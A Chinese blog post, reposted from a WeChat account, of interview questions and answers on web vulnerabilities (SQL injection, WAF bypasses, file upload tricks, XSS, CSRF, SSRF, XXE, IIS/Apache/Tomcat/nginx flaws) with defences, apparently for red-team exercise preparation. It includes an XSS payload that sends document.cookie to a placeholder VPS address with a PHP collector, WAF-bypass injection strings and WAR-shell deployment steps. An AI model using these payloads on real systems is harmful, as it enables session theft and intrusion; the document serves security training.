Hvv常见Web面试题

admin 2024年11月1日14:32:05评论3 views字数 8174阅读27分14秒阅读模式

主要的Web漏洞

SQL注入原理:
网站数据过滤不严格,过分信赖用户输入的数据, 没有过滤用户输入的恶意数据,无条件的把用户输入的数据当作SQL语句执行,因此导致sql注入漏洞产生
SQL注入分类
以有无闭合字符分类:字符型、整数型以数据传输方式分类:post类型、get类型注入方式细分:联合查询注入、报错型注入、布尔型盲注、时间型盲注、宽字节注入

报错注入常用函数:

UpdateXML()  Floor()Extractvalue()exp()
mysql默认存在的哪个数据库,注入时经常用到?
Information_schema

时间型盲注特点?常用函数?易受到什么影响?

场景:应用于无数据回显,无报错,布尔型盲注失效后  特点:时间型盲注页面没有明显的回显,只能根据页面刷新时间的长短来去判断构造语句是否正确;常用函数: sleep函数  if条件语句 等易受网络波动影响

布尔型盲注特点?常用函数?

特点:根据页面正确和错误的两种状态,来判断构造语句是否正确常用函数:length()   #用以猜测数据返回字符串的长度Sunstr()   #截取字符串Mid()     #取出字符串的一部分值Left()     #取出字符串左边的几个数据Ascii()     #返回一个字符的ascii码值

SQL手注的一般步骤:

判断注入类型判断注入点提交方式使用order by语句查询数据库有多少字段使用联合查询来查询 union select   User()   当前用户   Database()    数据库   Version()     数据库版本查询数据库中的表、列和值
宽字节注入
有些waf会在我们的提交数据前会被加入,的编码为%5c,我们在后面加上%df后变为了%df%5c,变成一个繁体汉字運,变成了一个有多个字节的字符。因为用了gbk编码,使这个为一个两字节,绕过了单引号闭合,逃逸了转义

SQL注入绕waf姿势

1、函数大小写混合绕过: 可以绕过的原因:服务器端检测时未开启大小写不敏感2、多重关键字绕过可以绕过的原因:服务器端检测到敏感字符时替换为空 形式:ununionion selselectect3、编码绕过可以绕过的原因:服务器端未检测或检测不严具有编码形式的关键字编码类型:十六进制编码、URL编码、Unicode编码4、注释绕过可以绕过的原因:服务器端未检测或检测不严注释内的字符串注释形式: 形式:/**/,/*!*/,/*!12345*/,#,-- -等5、等价函数或命令绕过可以绕过的原因:服务器端黑名单不完整,过滤不严等价函数形式:Mysql查询:Union distinct、updatexml、Extractvalue、floor字符串截取函数:mid、substr、substring、left、reverse字符串连接函数:concat、group_concat、concat_ws字符串转换:char、hex、unhex替换逗号:limit 1 offset 0,mid(version() from 1 for 1)替换等号:like6、特殊符号绕过绕过原因:数据库中效果相同,服务器端却没有限制形式:科学记数法 and 1e0 = 1e0空白字符 %0a %a0 %0b %20 %09反单引号 `table_name`括号 select * from (test.admin)7、组合绕过可以绕过原因:服务器端检测多处位置,需要多重绕过方式组合使用形式:id = 1’ and/**/’1’like’2’/**//*!12345union*/select 1,2,3

SQL注入漏洞挂马利用成功的条件?(sql注入挂马)

支持联合查询知道网站的绝对路径上传马的路径允许写入文件木马上传上去后能够被解析执行。能够找到木马上传上去以后的位置。

sqlmap挂马用什么参数?原理?

--os-shell    内置了一个方法select  * into  dumpfile,这个方法可以写入一个文件。

SQL注入漏洞如何防御?

过滤恶意字符和函数(select  union  orderby)过滤或转义单引号双引号使用参数化的语句来传递用户输入的变量Sql预编译也可以预防
Sql预编译原理(PreparedStatement)
预编译语句PreparedStatement 是java.sql中的一个接口,它是Statement的子接口。通过Statement对象执行SQL语句时,需要将SQL语句发送给DBMS,由DBMS首先进行编译后再执行。

(预编译语句创建对象时就指定了sql语句)预编译语句和Statement不同,在创建PreparedStatement 对象时就指定了SQL语句,该语句立即发送给DBMS进行编译。当该编译语句被执行时,DBMS直接运行编译后的SQL语句,而不需要像其他SQL语句那样首先将其编译。预编译的SQL语句处理性能稍微高于普通的传递变量的办法。

SQL注入getshell

web目录具有写权限,能够使用单引号知道网站绝对路径secure_file_priv没有具体值(在mysql/my.ini中查看)

文件上传漏洞

(1)文件上传漏洞原理

开发人员未在文件上传点对文件名和文件内容做严格的过滤导致用户可以上传恶意脚本到服务端。

(2)文件上传漏洞一般上传什么马?

符合网站语言环境的一句话、冰蝎、大马等等

(3)文件上传绕waf方式

绕过黑名单(大小写绕过)、绕过白名单%00截断(可以配合中间件漏洞)绕过前端验证(burp抓包修改Content-Type: 为允许的字段)对文件内容进行绕过

文件上传常用方式

当你进行文件上传时,发现网站是iis服务器你会上传什么后缀类型的马?

asp或者aspx

当你上传asp的脚本文件时上传不上去,你会上尝试再上传什么类型的后缀文件?为什么上传此类后缀的文件?

脚本我会尝试将文件后缀名改为asa或者cdx或者cer尝试进行上传;Iis服务器开启了文件后缀扩展功能
当你发现上传服务器是apache服务器,你会尝试上传什么后缀的马?
php
当你发现上传服务器中间件是tomcat中间件,你会尝试上传什么后缀的马?
Jsp

当你发现上传服务器中间件是weblogic中间件,你会尝试上传什么后缀的马?

Jsp
(9)当你发现上传服务器中间件是nginx,你会尝试上传什么后缀的马?
Php

文件上传漏洞防护防护:

常见的防护措施比如文件类型可以通过白名单或者黑名单进行判断当文件上传后对文件进行重命名呀,限制上传文件大小等白名单比黑名单要更安全一些

文件上传绕waf

1.文件名大小写绕过用像 AsP,pHp 之类的文件名绕过黑名单检测2.名单列表绕过用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类3 特殊文件名绕过比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格)这种命名方式在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。4 htaccess 文件配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测5 写入方法首先名字为1.php:jpg,会写入一个1.php的空文件,然后再上传一个文件,然后修改名字为3.<<<这样就会把我们这个文件的内容写入到我们上传的那个1.php空文件中6截断绕过上传1.php .jpg 空格二进制20改为00还有一些图片木马之类的,需要结合文件包含漏洞来解析

xss漏洞(跨站脚本)

xss漏洞原理及防护

前提:当应用程序没有对用户提交的内容进行验证和重新编码而是直接呈现给网站的访问者时,就可能会触发XSS攻击原理:攻击者利用相应的漏洞,在页面中嵌入JS脚本,用户访问含恶意脚本代码的页面或打开收到的URL链接时,用户浏览器自动加载执行恶意代码,达到攻击的目的。

防护手段:

过滤危险字符,输入长度限制HTML实体编码使用黑名单对于反射型和存储型:可以在数据返回客户端浏览器时,将敏感字符进行转义;对于DOM型,可以使用上下文敏感数据编码。

xss类型有哪些?哪种类型危害最大?

存储型、dom型、反射型存储型危害最大

类型区别

反射型:经过后端,不经过数据库;存储型:经过后端,经过数据库;DOM型:不经过后端。反射型是一次性的,用户访问带xss代码的请求时,服务器接受请求并处理,之后将带有xss代码的数据返回给浏览器,浏览器解析执行;存储型中提交的恶意内容会被永久存储在数据库,攻击行为伴随攻击数据一直存在;DOM型的触发基于浏览器对DOM数据的解析来完成,完全是客户端的事。
如何用xss(反射型)获取用户的cookie值
首先写一段js脚本,会用到document.get【cookie值】,然后把这个恶意脚本放到网站中的一些地方诱骗点击,点击后cookie值会被传送到我的电脑中来。

在自己的vps上放入如下代码:

<?php    $cookie = $_GET['cookie']; file_put_contents("cookie.txt",$cookie); echo '已成功获取cookie信息';?>payload:<script>document.location="http://xxx.xxx.xxx.xx/cookie.php?cookie="+document.cookie;</script>

csrf漏洞(跨站请求伪造)

csrf原理及修复?
原理:利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,受害人不知情的情况下会以受害者的身份向服务器发送请求,从而完成非法操作。

修复

验证http头的referer:仅响应referer头带本域的请求请求地址中添加token验证使用localstorage和sessionstorage保存会话

类型

get请求型csrf:只需要构造url,然后诱导受害者访问post请求型csrf:构造自动提交的表单,诱导受害者访问或者点击。

与ssrf的区别

csrf 是指攻击者盗用了你的身份,以你 的名义发送恶意请求,例如发送邮箱, 盗用账户,购买商品等。
ssrf 是指大型 网站 web 应用上提供了从其他服务器获取数据的功能,攻击者利用有缺陷的 web 应用作为代理远程攻击。

ssrf漏洞(服务端请求伪造)

原理
服务端提供了从其他服务器获取数据的功能,但是没有对目标地址进行过滤和限制。比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等。
一般情况下,我们服务端请求的目标都是与该请求服务器处于同一内网的资源服务,但是如果没有对这个请求的目标地址、文件等做充足的过滤和限制,攻击者可通过篡改这个请求的目标地址来进行伪造请求。

ssrf漏洞修复:

 url白名单(限制不能访问内网的ip) 过滤返回信息 统一错误信息 限制请求端口只能为web端口,只允许访问http和https的请求;

ssrf利用

1、可以对服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息2、攻击运行在内网或本地的应用程序(比如溢出)3、对内网web应用进行指纹识别,通过访问应用存在的默认文件实现;4、攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2漏洞利用等)5、利用file协议读取本地文件6、利用Redis未授权访问,HTTP CRLF注入达到getshell7、DOS攻击(请求大文件,始终保持连接keep alive always)等等

绕过姿势

(绕黑名单)进制转换ip(绕白)使用@在主机名之前的url中嵌入凭据;302跳转;DNS重绑定
xxe漏洞(外部实体注入)
原理:
一些配置不当的xml处理器会对外部实体进行引用,如果攻击者可以上传xml文档或在xml文档中添加恶意内容,通过易受攻击的代码就能攻击包含缺陷的xml处理器。
利用方式:
任意文件读取、系统命令执行、内网端口探测、攻击内网网站、钓鱼
修复防御:
使用开发语言提供的禁用外部实体的方法;过滤提交的xml数据;(过滤SYSTEM等敏感关键字)
http请求方法:

Hvv常见Web面试题中间件漏洞

存在目录遍历漏洞的中间件有哪些?

Iis、apache、nginx  

哪些存在war后门文件部署?

Tomcat、weblogic、jboss

iis

Put漏洞(本质是任意文件上传)
原理:IIS开启了WebDAV配置了可以写入的权限,造成了任意文件上传漏洞。
防御:关闭webDAV;关闭写入权限

解析漏洞

原理:
6.0版本默认将*.asp;.jpg此类格式的文件名,当成asp解析,服务器默认;后面的内容不解析,相当于截断,例如上传asp木马,就可以用xx.asp;.jpg来绕过;iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp

防御方法:

1.禁止上传和创建此类畸形文件2.图片存放目录设置为禁止脚本执行

Apache

解析漏洞(未知拓展名解析漏洞)
原理
apache默认一个文件可以有多个以点切割的后缀,当最右的后缀无法识别时,就继续向左识别,直到识别到合法后缀才开始解析,如xxx.php.qqq,qqq无法识别,就继续解析,到php时能够识别,就解析为php文件
目录遍历
原理:程序在实现上没有充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。这里的目录跳转符可以是../,也可是../的ASCII编码或者是unicode编码等
目录遍历的标志:Index of /
防御措施:
修改httpd.conf文件中的参数
Tomcat

弱口令+war后门文件部署  
原理:

tomcat如因配置不当导致未授权直接登录后台,或者由于弱口令的存在登录后台-可以在后台上传war包,我们可以将jsp代码植入到war包里面-然后访问该war包即可执行jsp代码war包制作命令,在jdk目录下:jav  cvf  shell.war  1.jsp 完成制作同时msfexploit/multi/http/tomcat_mgr_upload模块可以执行此操作
原理2:
在tomcat-users.xml中定义了tomcat用户的信息与权限,弱口令得到后访问http://127.0.0.1:8080/manager/html打开管理页面,输入用户名密码登录后台,用“WAR file to deploy”上传挂马。之后访问一句话木马即可
put任意文件上传
原理:
tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传;因此我们需要配合windows的解析漏洞:适用诸如 1.jsp%20 、 1.jsp::$DATA 则可以成功绕过检测上传成功注意:若是linux + tomcat5.0~9.0 ,可以上传1.jsp/绕过

nginx

文件解析漏洞

原理:用户配置不当造成的解析漏洞。由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,对于任意文件名,在后面添加/xxx.php(xxx)为任意字符后,即可将文件作为php解析

例如:在1.jpg中写入一句话木马,上传1.jpg/xxx.PHP

防御手段:

1、将php.ini文件中的cgi.fix_pathinfo的值设置为02、php-fpm.conf中的security.limit_extensions后面的值设置为.php

目录遍历

原理:Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。(程序在实现上没有充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件、这里的目录跳转符可以是../,也可是../的ASCII编码或者是unicode编码等)

修复

将nginx.conf中的autoindex  on 中的“on”改为“off”

最后就是我们的edusrc平台邀请码了,很多师傅私信没来得及回,在这里跟大家说一声抱歉,邀请码奉上,请即取即用

01b50574b4ea0bb917fcda141b4490b7231f0ef654211dd3b668bd90cb1bdeec657578fb1b48ebc629726dcf370a7d47a00e58750cf8616133ced566f2ade718550ae9160f5c564323bbf3bfe0b3b273b77f4d2aa06aa1258ca5c95661f2d0ca0df882344d2a6e0f6a78be6c49382e68aab4f8ee82998d0bfe60e0a8a10075d22c613986debb237a204f62cf5f30016a222bf192c4fcab8fe4390edbfd1c41086a17ff454ce63cea86ba471b9f865c2998832c374a0b7e742eb74b1e43196bb564ec6814d040050474f40c8ea6732657136fc79228f8d5622bbe45e7133664a46304aa62aaf801835e09ddc795c85cf17a69dddb50b25861ea34f90ece0e1754a35af3979db442c4a73d671a0cd601d926238d38fe64af31e544520ae8c65893a83700dd9377d5a2e39851ffe55198fb9c192bbbefd9ef9fbe1656817df399a72924fa823d891f1e2e458aac5b54a046548e60e698827c91b62a3f5f5b706a42afdd951f4ab8eef2724160ca7272510fa689c02c1cbae58e4f949cbde1cf226603c473223d73bb91e4701865fb89dbf8ed616affe2b0fde346457f2cc0bcec8f70e2ec02dccf4d0ac226ca8be2e31faf6aec74f38921aaeadeb1be5a63486177778b2629c37965d59ce45091ae922b213ddedf3c69f839ac08219d0a68ea8eedeebaa5ac3b4e978492236d4ea8900bbe7b8407024f716afe0f75e5a6d00d65ca12b91cd35c7a19b848e956d7ad504574e522ba725fcc80a9351f90940e7b3880ef2e41658e83a3eee5862ab80860a855ad55d457bead7c07687ec4b9d1f73ee9ee99195daa979be6d0d85fbb2fed564bd07d5de08f9c38777ebcc2954bef415fb7aa1c4c310d1284801b20772abe8a79a9ab33d4d054f9280447aa5dea32088e9be87f37484dca4bfa42956f12b387ae5ba9fecebcd246012a4b6a02adfd8e87ae53354049991f5d5e50d39abe04f7a3484c89d50c46690493f370bdbfa33330cb8f564b68e7aa5fb3fa08ae9b3315cdaf18bd4b6e045ef25e1b8ed078bea0b9df23996f0d8076ed35f71a5c2608f6fc23267bd613a4c8b6555ddcbdcb008a2132ef66c44a3e3c68f1ce36193b33de67bcda65924c2b8bcbd550741b72e6e183

原文始发于微信公众号(Poker安全):Hvv常见Web面试题【文末附赠edu邀请码】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月1日14:32:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hvv常见Web面试题http://cn-sec.com/archives/1824939.html

发表评论

匿名网友 填写信息